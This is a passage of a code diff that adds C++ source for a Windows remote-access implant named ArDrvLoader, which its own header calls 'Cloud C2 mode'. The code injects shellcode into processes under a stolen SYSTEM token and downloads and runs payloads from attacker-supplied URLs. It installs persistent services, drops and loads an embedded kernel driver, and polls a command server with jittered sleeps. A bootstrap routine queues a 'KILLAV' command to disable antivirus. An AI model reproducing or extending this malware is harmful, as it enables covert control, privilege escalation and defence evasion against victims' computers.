(_wcsicmp(op.c_str(), L"DRIVER_LOAD") == 0) + { + bool ok = EnsureDriverLoaded(); + result = ok ? L"OK" : L"ERR DRIVER_LOAD"; + return ok; + } + + if (_wcsicmp(op.c_str(), L"INJECT_FILE") == 0) + { + size_t pos = 0; + std::wstring pidStr; + std::wstring path; + + if (!ParseToken(rest, pos, pidStr) || !ParseToken(rest, pos, path)) + { + result = L"ERR_USAGE INJECT_FILE "; + return false; + } + + DWORD pid = (DWORD)wcstoul(pidStr.c_str(), nullptr, 10); + if (pid == 0) + { + result = L"ERR_USAGE INJECT_FILE "; + return false; + } + + std::vector shell; + + if (!ReadFileToMemory(path.c_str(), shell)) + { + result = L"ERR INJECT_FILE read"; + return false; + } + + HANDLE sys = AcquireSystemToken(); + if (sys) + ImpersonateLoggedOnUser(sys); + + bool ok = InjectShellcodeIntoExisting(pid, shell.data(), shell.size()); + + if (sys) + { + RevertToSelf(); + CloseHandle(sys); + } + + result = ok ? L"OK" : L"ERR INJECT_FILE"; + return ok; + } + + if (_wcsicmp(op.c_str(), L"INJECT_SUSPEND") == 0) + { + size_t pos = 0; + std::wstring exePath; + std::wstring shellPath; + + if (!ParseToken(rest, pos, exePath) || !ParseToken(rest, pos, shellPath)) + { + result = L"ERR_USAGE INJECT_SUSPEND "; + return false; + } + + std::vector shell; + + if (!ReadFileToMemory(shellPath.c_str(), shell)) + { + result = L"ERR INJECT_SUSPEND read"; + return false; + } + + HANDLE tok = AcquireSystemToken(); + if (!tok) + { + result = L"ERR INJECT_SUSPEND token"; + return false; + } + + NewProcInfo info{}; + + if (!CreateProcessSuspendedAsSystem(tok, exePath.c_str(), nullptr, false, &info)) + { + CloseHandle(tok); + result = L"ERR INJECT_SUSPEND create"; + return false; + } + + bool ok = InjectShellcodeAndResume(info, shell.data(), shell.size()); + CloseHandle(tok); + + result = ok ? L"OK" : L"ERR INJECT_SUSPEND"; + return ok; + } + + if (_wcsicmp(op.c_str(), L"INSTALL_GUARD_SERVICES") == 0) + { + wchar_t module[MAX_PATH]{}; + DWORD n = GetModuleFileNameW(nullptr, module, _countof(module)); + + if (n == 0 || n >= _countof(module)) + { + result = L"ERR INSTALL_GUARD_SERVICES path"; + return false; + } + + std::wstring full = L"\""; + full += module; + full += L"\" -install-guard-services"; + + if (!rest.empty()) + { + full += L" "; + full += rest; + } + + bool ok = RunCommandLineCurrent(full); + result = ok ? L"OK" : L"ERR INSTALL_GUARD_SERVICES"; + return ok; + } + + if (_wcsicmp(op.c_str(), L"DOWNLOAD") == 0) + { + size_t pos = 0; + std::wstring url; + std::wstring outPath; + std::wstring sha; + + if (!ParseToken(rest, pos, url) || !ParseToken(rest, pos, outPath)) + { + result = L"ERR_USAGE DOWNLOAD [sha256]"; + return false; + } + + ParseToken(rest, pos, sha); + + std::wstring error; + + if (!DownloadUrlToFile(url, outPath, sha, error)) + { + result = L"ERR DOWNLOAD " + error; + return false; + } + + std::wstring saved = TrimQuotes(outPath); + std::wstring hash = Sha256OfFile(saved); + + result = L"OK " + saved + (hash.empty() ? L"" : L" sha256=" + hash); + return true; + } + + if (_wcsicmp(op.c_str(), L"DEPLOY") == 0 || + _wcsicmp(op.c_str(), L"DEPLOY_SYSTEM") == 0) + { + const bool asSystem = (_wcsicmp(op.c_str(), L"DEPLOY_SYSTEM") == 0); + + size_t pos = 0; + std::wstring url; + + if (!ParseToken(rest, pos, url)) + { + result = asSystem + ? L"ERR_USAGE DEPLOY_SYSTEM [args]" + : L"ERR_USAGE DEPLOY [args]"; + return false; + } + + std::wstring args = rest.substr(pos); + TrimW(args); + + std::wstring target = GetPayloadDir() + L"\\" + FileNameFromUrl(url); + std::wstring error; + + if (!DownloadUrlToFile(url, target, L"", error)) + { + result = L"ERR DEPLOY " + error; + return false; + } + + bool ok = asSystem + ? RunFilePathSystem(target, args) + : RunFilePathCurrent(target, args); + + result = ok + ? (asSystem ? L"OK SYSTEM " : L"OK ") + target + : (asSystem ? L"ERR DEPLOY_SYSTEM " : L"ERR DEPLOY ") + target; + + return ok; + } + + if (_wcsicmp(op.c_str(), L"INSTALL_CLOUD_SERVICE") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE INSTALL_CLOUD_SERVICE "; + return false; + } + + wchar_t module[MAX_PATH]{}; + DWORD n = GetModuleFileNameW(nullptr, module, _countof(module)); + + if (n == 0 || n >= _countof(module)) + { + result = L"ERR INSTALL_CLOUD_SERVICE path"; + return false; + } + + std::wstring bin = L"\""; + bin += module; + bin += L"\" -cloud-service --service-name \""; + bin += rest; + bin += L"\""; + + if (!g_activeCloudConfig.agent.empty()) + { + bin += L" --agent \""; + bin += g_activeCloudConfig.agent; + bin += L"\""; + } + + if (!g_activeCloudConfig.url.empty()) + { + bin += L" --url \""; + bin += g_activeCloudConfig.url; + bin += L"\""; + } + + if (!g_activeCloudConfig.secret.empty()) + { + bin += L" --secret \""; + bin += g_activeCloudConfig.secret; + bin += L"\""; + } + + bin += L" --interval "; + bin += std::to_wstring(g_activeCloudConfig.intervalMs); + + if (g_allowVm) + bin += L" --allow-vm"; + + bin += L" --elevated"; + + bool ok = EnsureWin32Service(rest.c_str(), bin.c_str(), true); + result = ok ? L"OK" : L"ERR INSTALL_CLOUD_SERVICE"; + return ok; + } + + if (_wcsicmp(op.c_str(), L"INSTALL_SERVICE") == 0 || + _wcsicmp(op.c_str(), L"START_SERVICE") == 0) + { + const bool startNow = (_wcsicmp(op.c_str(), L"START_SERVICE") == 0); + + size_t pos = 0; + std::wstring name; + std::wstring path; + + if (!ParseToken(rest, pos, name)) + { + result = startNow + ? L"ERR_USAGE START_SERVICE [binary-path]" + : L"ERR_USAGE INSTALL_SERVICE [binary-path]"; + return false; + } + + if (!ParseToken(rest, pos, path)) + { + if (startNow) + { + bool ok = StartServiceByName(name); + result = ok ? L"OK" : L"ERR START_SERVICE"; + return ok; + } + + wchar_t module[MAX_PATH]{}; + DWORD n = GetModuleFileNameW(nullptr, module, _countof(module)); + + if (n == 0 || n >= _countof(module)) + { + result = L"ERR INSTALL_SERVICE path"; + return false; + } + + path = module; + } + + bool ok = EnsureWin32Service(name.c_str(), path.c_str(), startNow); + result = ok ? L"OK" : L"ERR SERVICE"; + return ok; + } + + if (_wcsicmp(op.c_str(), L"SERVICE_STATUS") == 0) + { + if (rest.empty()) + { + result = L"ERR_USAGE SERVICE_STATUS "; + return false; + } + + result = IsServiceRunning(rest.c_str()) ? L"RUNNING" : L"STOPPED"; + return true; + } + + if (_wcsicmp(op.c_str(), L"STOP") == 0) + { + stop = true; + result = L"OK STOP"; + return true; + } + + result = L"ERR UNKNOWN"; + return false; +} + +static void SetCurrentDirectoryToModuleDir() +{ + wchar_t path[MAX_PATH]{}; + DWORD len = GetModuleFileNameW(nullptr, path, _countof(path)); + + if (len == 0 || len >= _countof(path)) + return; + + std::wstring p = path; + + size_t pos = p.find_last_of(L"\\"); + if (pos != std::wstring::npos) + p = p.substr(0, pos); + + SetCurrentDirectoryW(p.c_str()); +} + +static bool StartupActions(const CloudConfig& cfg) +{ + SetCurrentDirectoryToModuleDir(); + + if (cfg.startDriver) + { + bool ok = EnsureDriverLoaded(); + Log(L"[cloud] startup driver loaded=%d", ok ? 1 : 0); + } + + if (!cfg.startupFile.empty()) + { + std::wstring path = TrimQuotes(cfg.startupFile); + + if (cfg.startupAsUser) + { + std::wstring cmd = L"cmd.exe /C start \"\" "; + cmd += QuotePathIfNeeded(path); + + if (!cfg.startupArgs.empty()) + { + cmd += L" "; + cmd += cfg.startupArgs; + } + + RunCommandLineAsUser(cmd); + } + else + { + RunShellExecuteCurrent(path, cfg.startupArgs); + } + } + + if (!cfg.startupCommand.empty()) + { + std::wstring result; + bool stop = false; + + ProcessCommand(cfg.startupCommand, result, stop); + + if (stop) + return false; + } + + return true; +} + +static DWORD Jitter(DWORD baseMs) +{ + if (baseMs < 1000) + baseMs = 1000; + + LARGE_INTEGER li{}; + QueryPerformanceCounter(&li); + + DWORD seed = (DWORD)(li.LowPart ^ (DWORD)GetCurrentProcessId()); + + return baseMs / 2 + (seed % (baseMs + 1)); +} + +static bool SleepWithStop(DWORD ms, HANDLE stopEvent) +{ + if (!stopEvent) + { + Sleep(ms); + return false; + } + + return WaitForSingleObject(stopEvent, ms) == WAIT_OBJECT_0; +} + +// Recently executed command ids. The server requeues commands that were claimed +// but never acknowledged (180s reaper), so a slow command could otherwise run +// twice. A short memory of what we already did makes the retry a no-op. +static std::deque g_executed; +static const size_t kExecutedMemory = 512; + +static bool AlreadyExecuted(const std::wstring& id) +{ + return std::find(g_executed.begin(), g_executed.end(), id) != g_executed.end(); +} + +static void RememberExecuted(const std::wstring& id) +{ + if (id.empty()) + return; + + g_executed.push_back(id); + + while (g_executed.size() > kExecutedMemory) + g_executed.pop_front(); +} + +static void RunLoop(const CloudConfig& cfg, HANDLE stopEvent = nullptr) +{ + DWORD backoffMs = cfg.intervalMs < 1000 ? 1000 : cfg.intervalMs; + + while (true) + { + if (stopEvent && WaitForSingleObject(stopEvent, 0) == WAIT_OBJECT_0) + break; + + CloudCommand cmd; + + if (PollCommand(cfg, cmd)) + { + backoffMs = cfg.intervalMs < 1000 ? 1000 : cfg.intervalMs; + + // Re-delivery of something we already ran: acknowledge and move on. + if (!cmd.id.empty() && AlreadyExecuted(cmd.id)) + { + AckCommand(cfg, cmd.id, L"OK (dup, not re-executed)"); + + if (SleepWithStop(250, stopEvent)) + break; + + continue; + } + + std::wstring result; + bool stop = false; + + ProcessCommand(cmd.text, result, stop); + RememberExecuted(cmd.id); + AckCommand(cfg, cmd.id, result); + + if (stop) + break; + + if (SleepWithStop(250, stopEvent)) + break; + } + else + { + // Worker unreachable or queue empty: escalate the wait up to 15s. + if (SleepWithStop(Jitter(backoffMs), stopEvent)) + break; + + if (backoffMs < 15000) + { + backoffMs *= 2; + + if (backoffMs > 15000) + backoffMs = 15000; + } + } + } +} + +static bool ParseConfig(int argc, wchar_t** argv, CloudConfig& cfg) +{ + std::wstring agent; + std::wstring url; + std::wstring secret; + std::wstring intervalS; + std::wstring startupFile; + std::wstring startupArgs; + std::wstring startupCommand; + + bool haveStartDriver = false; + bool startDriver = true; + bool startupAsUser = false; + + for (int i = 1; i < argc; ++i) + { + std::wstring a = argv[i]; + + if (a == L"--elevated") + { + cfg.elevatedRequested = true; + continue; + } + + if (i + 1 < argc && a == L"--service-name") + { + g_serviceName = argv[++i]; + continue; + } + + if (a == L"--start-driver") + { + startDriver = true; + haveStartDriver = true; + continue; + } + + if (a == L"--no-start-driver") + { + startDriver = false; + haveStartDriver = true; + continue; + } + + if (a == L"--startup-user") + { + startupAsUser = true; + continue; + } + + if (i + 1 < argc && a == L"--agent") + { + agent = argv[++i]; + continue; + } + + if (i + 1 < argc && a == L"--url") + { + url = argv[++i]; + continue; + } + + if (i + 1 < argc && a == L"--secret") + { + secret = argv[++i]; + continue; + } + + if (i + 1 < argc && a == L"--interval") + { + intervalS = argv[++i]; + continue; + } + + if (i + 1 < argc && a == L"--startup-file") + { + startupFile = argv[++i]; + continue; + } + + if (i + 1 < argc && a == L"--startup-args") + { + startupArgs = argv[++i]; + continue; + } + + if (i + 1 < argc && a == L"--startup-command") + { + startupCommand = argv[++i]; + continue; + } + + if (a.empty() || a[0] == L'-') + continue; + + if (agent.empty()) + agent = a; + else if (url.empty()) + url = a; + else if (secret.empty()) + secret = a; + else if (intervalS.empty()) + intervalS = a; + } + + cfg.agent = agent.empty() ? ConfigValue(L"CA_AGENT_ID", L"AgentId", L"") : agent; + if (cfg.agent.empty()) + cfg.agent = L"default"; + + cfg.url = url.empty() ? ConfigValue(L"CA_URL", L"Url", L"") : url; + + if (!cfg.url.empty() && cfg.url.find(L"://") == std::wstring::npos) + cfg.url = L"https://" + cfg.url; + + cfg.secret = secret.empty() ? ConfigValue(L"CA_SECRET", L"Secret", L"") : secret; + + // Per-agent key issued by enrollment, stored next to the host tracking file. + if (cfg.secret.empty()) + cfg.secret = ReadAgentKeyFile(cfg.agent); + + std::wstring interval = intervalS.empty() + ? ConfigValue(L"CA_INTERVAL", L"IntervalMs", L"") + : intervalS; + + DWORD v = (DWORD)wcstoul(interval.c_str(), nullptr, 10); + cfg.intervalMs = (v >= 1000) ? v : 15000; + + if (!haveStartDriver) + startDriver = ConfigBool(L"CA_START_DRIVER", L"StartDriver", true); + + cfg.startDriver = startDriver; + + cfg.startupFile = startupFile.empty() + ? ConfigValue(L"CA_STARTUP_FILE", L"StartupFile", L"") + : startupFile; + + cfg.startupArgs = startupArgs.empty() + ? ConfigValue(L"CA_STARTUP_ARGS", L"StartupArgs", L"") + : startupArgs; + + cfg.startupCommand = startupCommand.empty() + ? ConfigValue(L"CA_STARTUP_COMMAND", L"StartupCommand", L"") + : startupCommand; + + if (!startupAsUser) + startupAsUser = ConfigBool(L"CA_STARTUP_USER", L"StartupUser", false); + + cfg.startupAsUser = startupAsUser; + + return !cfg.url.empty() && !cfg.secret.empty(); +} + +static VOID WINAPI CloudServiceMain(DWORD argc, LPWSTR* argv) +{ + (void)argc; + (void)argv; + + g_serviceStatusHandle = RegisterServiceCtrlHandlerExW( + g_serviceName.c_str(), + ServiceCtrlHandler, + nullptr); + + if (!g_serviceStatusHandle) + return; + + g_serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; + g_serviceStatus.dwCurrentState = SERVICE_START_PENDING; + g_serviceStatus.dwControlsAccepted = 0; + g_serviceStatus.dwWin32ExitCode = NO_ERROR; + g_serviceStatus.dwWaitHint = 5000; + + g_serviceStopEvent = CreateEventW(nullptr, TRUE, FALSE, nullptr); + if (!g_serviceStopEvent) + { + ReportServiceStatus(SERVICE_STOPPED, GetLastError()); + return; + } + + if (!g_serviceConfigValid) + { + Log(L"[-] Cloud service: invalid config"); + CloseHandle(g_serviceStopEvent); + g_serviceStopEvent = nullptr; + ReportServiceStatus(SERVICE_STOPPED, ERROR_INVALID_PARAMETER); + return; + } + + ReportServiceStatus(SERVICE_RUNNING); + + Log(L"[cloud] service start agent=%s interval=%lu", + g_serviceConfig.agent.c_str(), + g_serviceConfig.intervalMs); + + if (StartupActions(g_serviceConfig)) + RunLoop(g_serviceConfig, g_serviceStopEvent); + + ReportServiceStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000); + + if (g_serviceStopEvent) + { + CloseHandle(g_serviceStopEvent); + g_serviceStopEvent = nullptr; + } + + Log(L"[cloud] service stopped"); + ReportServiceStatus(SERVICE_STOPPED); +} + +int RunEnroll(int argc, wchar_t** argv) +{ + std::wstring url; + std::wstring agent; + std::wstring enrollSecret; + + for (int i = 2; i < argc; ++i) + { + std::wstring a = argv[i]; + + if (a == L"--url" && i + 1 < argc) { url = argv[++i]; continue; } + if (a == L"--agent" && i + 1 < argc) { agent = argv[++i]; continue; } + if (a == L"--enroll-secret" && i + 1 < argc) { enrollSecret = argv[++i]; continue; } + } + + if (url.empty() || agent.empty() || enrollSecret.empty()) + { + wprintf(L"Usage: ArDrvLoader.exe -enroll --url --agent --enroll-secret [--allow-vm]\n"); + return 1; + } + + if (url.find(L"://") == std::wstring::npos) + url = L"https://" + url; + + while (!url.empty() && url.back() == L'/') + url.pop_back(); + + std::string body = "{\"agent\":\"" + Utf8(agent) + "\"}"; + std::string response; + DWORD status = 0; + + std::wstring headers = L"X-Enroll-Secret: " + enrollSecret + L"\r\n"; + + if (!HttpRequest( + L"POST", + url + L"/api/enroll", + L"api/enroll", + nullptr, + body, + response, + &status, + headers)) + { + wprintf(L"ERR cannot reach %s\n", url.c_str()); + return 1; + } + + if (status != 200) + { + wprintf(L"ERR enroll refused (http %lu): %s\n", status, Utf16(response).c_str()); + return 1; + } + + std::wstring secret = JsonStringField(response, "secret"); + + if (secret.empty()) + { + wprintf(L"ERR no secret in response: %s\n", Utf16(response).c_str()); + return 1; + } + + if (!WriteAgentKeyFile(agent, secret)) + { + wprintf(L"ERR cannot write %s : %lu\n", AgentKeyPath(agent).c_str(), GetLastError()); + return 1; + } + + wprintf(L"OK agent=%s secret stored in %s\n", agent.c_str(), AgentKeyPath(agent).c_str()); + return 0; +} + +int RunBootstrap(int argc, wchar_t** argv) +{ + std::wstring url; + std::wstring secret; + std::wstring operatorKey; + std::wstring agent; + std::wstring target = L"C:\\Windows\\System32\\notepad.exe"; + bool killAv = true; + + for (int i = 2; i < argc; ++i) + { + std::wstring a = argv[i]; + + if (a == L"--no-killav") { killAv = false; continue; } + if (a == L"--url" && i + 1 < argc) { url = argv[++i]; continue; } + if (a == L"--secret" && i + 1 < argc) { secret = argv[++i]; continue; } + if (a == L"--operator-key" && i + 1 < argc) { operatorKey = argv[++i]; continue; } + if (a == L"--agent" && i + 1 < argc) { agent = argv[++i]; continue; } + if (a == L"--target" && i + 1 < argc) { target = argv[++i]; continue; } + } + + if (url.empty()) + url = ARDRV_DEFAULT_URL; + + if (operatorKey.empty()) + operatorKey = ARDRV_DEFAULT_OPERATOR_KEY; + + if (secret.empty()) + secret = ARDRV_DEFAULT_SECRET; + + if (agent.empty()) + agent = ARDRV_DEFAULT_AGENT; + + if (agent.empty()) + { + wchar_t computer[64]{}; + DWORD len = _countof(computer); + + if (GetComputerNameW(computer, &len) && len > 0) + agent = computer; + else + agent = L"agent"; + } + + if (url.empty() || secret.empty() || operatorKey.empty()) + { + wprintf(L"Usage: ArDrvLoader.exe -bootstrap --url --operator-key [--secret ] [--agent ] [--target ] [--no-killav]\n"); + return 1; + } + + if (url.find(L"://") == std::wstring::npos) + url = L"https://" + url; + + while (!url.empty() && url.back() == L'/') + url.pop_back(); + + // 1. install: services + driver + cloud agent service, single elevated pass. + std::vector install = + { + L"ArDrvLoader.exe", + L"-install-guard-services", + L"--target", target, + L"--allow-vm", + L"--cloud-url", url, + L"--cloud-secret", secret, + L"--cloud-agent", agent, + L"--cloud-service", L"CloudTest" + }; + + std::vector installArgv; + + for (auto& s : install) + installArgv.push_back(const_cast(s.c_str())); + + wprintf(L"[bootstrap] installing services and agent %s\n", agent.c_str()); + + int rc = InstallGuardServices((int)installArgv.size(), installArgv.data()); + + if (rc != 0) + { + wprintf(L"[bootstrap] install failed (%d)\n", rc); + return rc; + } + + // 2. wait for the agent to register. + std::wstring headers = L"X-Operator-Key: " + operatorKey + L"\r\n"; + std::wstring marker = L"\"id\":\"" + agent + L"\""; + + bool online = false; + + for (int i = 0; i < 60; ++i) + { + std::string response; + DWORD status = 0; + + if (HttpRequest(L"GET", url + L"/api/agents", L"api/agents", nullptr, std::string(), response, &status, headers) && + status == 200 && + Utf16(response).find(marker) != std::wstring::npos) + { + online = true; + break; + } + + Sleep(1000); + } + + if (!online) + { + wprintf(L"[bootstrap] agent did not register within 60s\n"); + return 2; + } + + wprintf(L"[bootstrap] agent online\n"); + + if (!killAv) + { + wprintf(L"[bootstrap] AV sweep skipped\n"); + return 0; + } + + // 3. queue KILLAV through the server so it shows up as a command. + std::string body = "{\"agent\":\"" + Utf8(agent) + "\",\"text\":\"KILLAV\"}"; + std::string response; + DWORD status = 0; + + if (!HttpRequest(L"POST", url + L"/api/enqueue", L"api/enqueue", nullptr, body, response, &status, headers)) + { + wprintf(L"[bootstrap] enqueue failed\n"); + return 3; + } + + std::wstring id = JsonStringField(response, "id"); + + if (id.empty()) + { + wprintf(L"[bootstrap] enqueue rejected: %s\n", Utf16(response).c_str()); + return 3; + } + + wprintf(L"[bootstrap] KILLAV queued (%s), waiting\n", id.c_str()); + + // 4. wait for the result so the operator sees the outcome immediately. + for (int i = 0; i < 120; ++i) + { + Sleep(1000); + + std::string poll; + DWORD pollStatus = 0; + + if (!HttpRequest(L"GET", url + L"/api/command/" + id, L"api/command", nullptr, std::string(), poll, &pollStatus, headers)) + continue; + + std::wstring wide = Utf16(poll); + + if (wide.find(L"\"state\":\"done\"") == std::wstring::npos && + wide.find(L"\"state\":\"failed\"") == std::wstring::npos) + { + continue; + } + + std::wstring result = JsonStringField(poll, "result"); + + wprintf(L"[bootstrap] KILLAV result:\n%s\n", result.empty() ? L"(no output)" : result.c_str()); + return 0; + } + + wprintf(L"[bootstrap] KILLAV still queued after 120s, check the panel\n"); + return 0; +} + +int RunCloudService(int argc, wchar_t** argv) +{ + CloudConfig cfg; + + g_allowVm = VmOverrideRequested(argc, argv); + + g_serviceConfigValid = ParseConfig(argc, argv, cfg); + g_serviceConfig = cfg; + + if (g_serviceName.empty()) + g_serviceName = L"ArDrvAgent"; + + SERVICE_TABLE_ENTRYW table[] = + { + { const_cast(g_serviceName.c_str()), CloudServiceMain }, + { nullptr, nullptr } + }; + + if (!StartServiceCtrlDispatcherW(table)) + { + DWORD err = GetLastError(); + + if (err == ERROR_FAILED_SERVICE_CONTROLLER_CONNECT) + { + wprintf(L"Cloud service must be started by the Service Control Manager.\n"); + wprintf(L"Install it with: ArDrvLoader.exe -cloud-service --service-name \n"); + } + + return (int)err; + } + + return 0; +} + +int RunCloudAgent(int argc, wchar_t** argv) +{ + CloudConfig cfg; + + g_allowVm = VmOverrideRequested(argc, argv); + + if (!ParseConfig(argc, argv, cfg)) + { + wprintf(L"Usage:\n"); + wprintf(L" ArDrvLoader.exe -cloud [options] [agent] [interval_ms]\n"); + wprintf(L"\n"); + wprintf(L"Named options:\n"); + wprintf(L" --elevated force no UAC loop\n"); + wprintf(L" --agent agent id\n"); + wprintf(L" --url worker url\n"); + wprintf(L" --secret secret\n"); + wprintf(L" --interval poll interval\n"); + wprintf(L" --start-driver load driver at startup\n"); + wprintf(L" --no-start-driver do not load driver at startup\n"); + wprintf(L" --startup-file run file at startup\n"); + wprintf(L" --startup-args startup file args\n"); + wprintf(L" --startup-command run command at startup\n"); + wprintf(L" --startup-user startup file in user session\n"); + wprintf(L" --allow-vm run inside a virtual machine\n"); + wprintf(L"\n"); + wprintf(L"Environment / registry names:\n"); + wprintf(L" CA_AGENT_ID / AgentId\n"); + wprintf(L" CA_URL / Url\n"); + wprintf(L" CA_SECRET / Secret\n"); + wprintf(L" CA_INTERVAL / IntervalMs\n"); + wprintf(L" CA_START_DRIVER / StartDriver\n"); + wprintf(L" CA_STARTUP_FILE / StartupFile\n"); + wprintf(L" CA_STARTUP_ARGS / StartupArgs\n"); + wprintf(L" CA_STARTUP_COMMAND / StartupCommand\n"); + wprintf(L" CA_STARTUP_USER / StartupUser\n"); + + return 1; + } + + if (!EnsureAdminIfNeeded(argc, argv, cfg)) + { + Log(L"[-] Cloud mode: elevation failed"); + return 2; + } + + g_activeCloudConfig = cfg; + + Log(L"[cloud] starting agent=%s interval=%lu", cfg.agent.c_str(), cfg.intervalMs); + + if (!StartupActions(cfg)) + { + Log(L"[cloud] startup command requested stop"); + return 0; + } + + RunLoop(cfg); + + Log(L"[cloud] stopped"); + return 0; +} + + diff --git a/CloudAgent.h b/CloudAgent.h new file mode 100644 index 0000000..ca900d6 --- /dev/null +++ b/CloudAgent.h @@ -0,0 +1,20 @@ +#pragma once + +#include + +// Cloud C2 mode. Call as: +// ArDrvLoader.exe -cloud [options] [agent] [interval_ms] +int RunCloudAgent(int argc, wchar_t** argv); + +// Windows service entry point. Install with: +// sc create ArDrvAgent binPath= "\"C:\path\ArDrvLoader.exe\" -cloud-service --service-name ArDrvAgent" +int RunCloudService(int argc, wchar_t** argv); + +// One-time enrollment: fetches this agent's own key from the worker and stores +// it next to the host tracking file. +// ArDrvLoader.exe -enroll --url --agent --enroll-secret +int RunEnroll(int argc, wchar_t** argv); + +// Client-side bring-up from a single exe: install, wait for the agent, queue KILLAV. +// ArDrvLoader.exe -bootstrap --url --operator-key [--secret ] [--agent ] +int RunBootstrap(int argc, wchar_t** argv); diff --git a/Common.h b/Common.h new file mode 100644 index 0000000..00bb88c --- /dev/null +++ b/Common.h @@ -0,0 +1,21 @@ +#pragma once + +#ifndef WIN32_LEAN_AND_MEAN +#define WIN32_LEAN_AND_MEAN +#endif + +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#pragma comment(lib, "advapi32.lib") +#pragma comment(lib, "Userenv.lib") +#pragma comment(lib, "Wtsapi32.lib") diff --git a/DriverClient.cpp b/DriverClient.cpp new file mode 100644 index 0000000..67e8233 --- /dev/null +++ b/DriverClient.cpp @@ -0,0 +1,377 @@ +#include "Common.h" +#include "DriverClient.h" +#include "TokenUtils.h" +#include "Logger.h" +#include "resource.h" + +static HANDLE g_hDriver = INVALID_HANDLE_VALUE; + +#define DRIVER_NAME L"\\\\.\\ArDrv" +#define SERVICE_NAME L"ArDrv" +#define DRIVER_PATH L"C:\\Windows\\System32\\drivers\\ardrv.sys" + +#define IOCTL_TERM 0x2420031 +#define IOCTL_ESC 0x2420035 + +// Writes the driver image that was packed into this executable via RCDATA. +// Returns false when no image is embedded or when writing fails. +DWORD EmbeddedDriverSize() +{ + HRSRC res = FindResourceW(nullptr, MAKEINTRESOURCEW(IDR_ARDRV_SYS), RT_RCDATA); + return res ? SizeofResource(nullptr, res) : 0; +} + +bool WriteEmbeddedDriverTo(const wchar_t* destPath) +{ + HRSRC res = FindResourceW(nullptr, MAKEINTRESOURCEW(IDR_ARDRV_SYS), RT_RCDATA); + + if (!res) + { + Log(L"[-] No embedded driver image in this build"); + return false; + } + + DWORD size = SizeofResource(nullptr, res); + + if (size == 0) + { + Log(L"[-] Embedded driver resource is empty"); + return false; + } + + HGLOBAL loaded = LoadResource(nullptr, res); + + if (!loaded) + { + Log(L"[-] LoadResource failed: %lu", GetLastError()); + return false; + } + + const void* data = LockResource(loaded); + + if (!data) + { + Log(L"[-] LockResource failed: %lu", GetLastError()); + return false; + } + + DWORD attr = GetFileAttributesW(destPath); + + if (attr != INVALID_FILE_ATTRIBUTES) + { + if (attr & FILE_ATTRIBUTE_READONLY) + SetFileAttributesW(destPath, attr & ~FILE_ATTRIBUTE_READONLY); + + DeleteFileW(destPath); + } + + HANDLE file = CreateFileW( + destPath, + GENERIC_WRITE, + 0, + nullptr, + CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL, + nullptr); + + if (file == INVALID_HANDLE_VALUE) + { + Log(L"[-] Cannot create %s: %lu", destPath, GetLastError()); + return false; + } + + DWORD written = 0; + BOOL ok = WriteFile(file, data, size, &written, nullptr); + DWORD err = GetLastError(); + + CloseHandle(file); + + if (!ok || written != size) + { + Log(L"[-] WriteFile %s failed: %lu", destPath, err); + DeleteFileW(destPath); + return false; + } + + Log(L"[+] Embedded driver extracted: %s (%lu bytes)", destPath, size); + return true; +} + +bool OpenDriver() +{ + if (g_hDriver != INVALID_HANDLE_VALUE) + return true; + + g_hDriver = CreateFileW( + DRIVER_NAME, + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + nullptr, + OPEN_EXISTING, + 0, + nullptr); + + if (g_hDriver == INVALID_HANDLE_VALUE) + { + Log(L"[-] OpenDriver failed: %lu", GetLastError()); + return false; + } + + Log(L"[+] Driver opened"); + return true; +} + +void CloseDriver() +{ + if (g_hDriver != INVALID_HANDLE_VALUE) + { + CloseHandle(g_hDriver); + g_hDriver = INVALID_HANDLE_VALUE; + } +} + +bool ExtractDriverImageIfEmbedded(const wchar_t* destPath) +{ + if (!destPath || !*destPath) + return false; + + DWORD attr = GetFileAttributesW(destPath); + + if (attr != INVALID_FILE_ATTRIBUTES) + return true; + + return WriteEmbeddedDriverTo(destPath); +} + +bool EnsureDriverLoaded() +{ + if (OpenDriver()) + return true; + + // Packed driver: drop it on disk before the SCM tries to load it. + if (GetFileAttributesW(DRIVER_PATH) == INVALID_FILE_ATTRIBUTES) + ExtractDriverImageIfEmbedded(DRIVER_PATH); + + SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!scm) + { + Log(L"[-] OpenSCManager failed: %lu", GetLastError()); + return false; + } + + SC_HANDLE svc = OpenServiceW(scm, SERVICE_NAME, SERVICE_QUERY_STATUS | SERVICE_START); + + if (!svc) + { + DWORD e = GetLastError(); + + if (e == ERROR_SERVICE_EXISTS) + { + svc = OpenServiceW(scm, SERVICE_NAME, SERVICE_QUERY_STATUS | SERVICE_START); + } + else + { + svc = CreateServiceW( + scm, + SERVICE_NAME, + SERVICE_NAME, + SERVICE_QUERY_STATUS | SERVICE_START, + SERVICE_KERNEL_DRIVER, + SERVICE_DEMAND_START, + SERVICE_ERROR_NORMAL, + DRIVER_PATH, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr); + + if (svc) + Log(L"[+] Driver service created"); + else + Log(L"[-] CreateService failed: %lu", GetLastError()); + } + } + + if (svc) + { + SERVICE_STATUS st{}; + bool running = QueryServiceStatus(svc, &st) && (st.dwCurrentState == SERVICE_RUNNING); + + if (!running) + { + BOOL started = StartServiceW(svc, 0, nullptr); + DWORD e = GetLastError(); + + if (!started && e != ERROR_SERVICE_ALREADY_RUNNING) + Log(L"[!] StartService failed: %lu", e); + else + Log(L"[+] Driver service started"); + } + else + { + Log(L"[+] Driver service already running"); + } + + CloseServiceHandle(svc); + } + + CloseServiceHandle(scm); + + for (int i = 0; i < 50; ++i) + { + if (OpenDriver()) + return true; + + Sleep(20); + } + + Log(L"[-] Driver device not found after service start"); + return false; +} + +static HANDLE DuplicateDriverReturnedTokenHandle(ULONG_PTR handleValue) +{ + if (handleValue == 0) + return nullptr; + + HANDLE src = reinterpret_cast(handleValue); + HANDLE dup = nullptr; + + if (!DuplicateHandle( + GetCurrentProcess(), + src, + GetCurrentProcess(), + &dup, + TOKEN_QUERY | + TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | + TOKEN_ADJUST_DEFAULT | + TOKEN_ADJUST_SESSIONID, + FALSE, + DUPLICATE_SAME_ACCESS)) + { + Log(L"[-] Driver returned handle %p, but DuplicateHandle failed: %lu", src, GetLastError()); + return 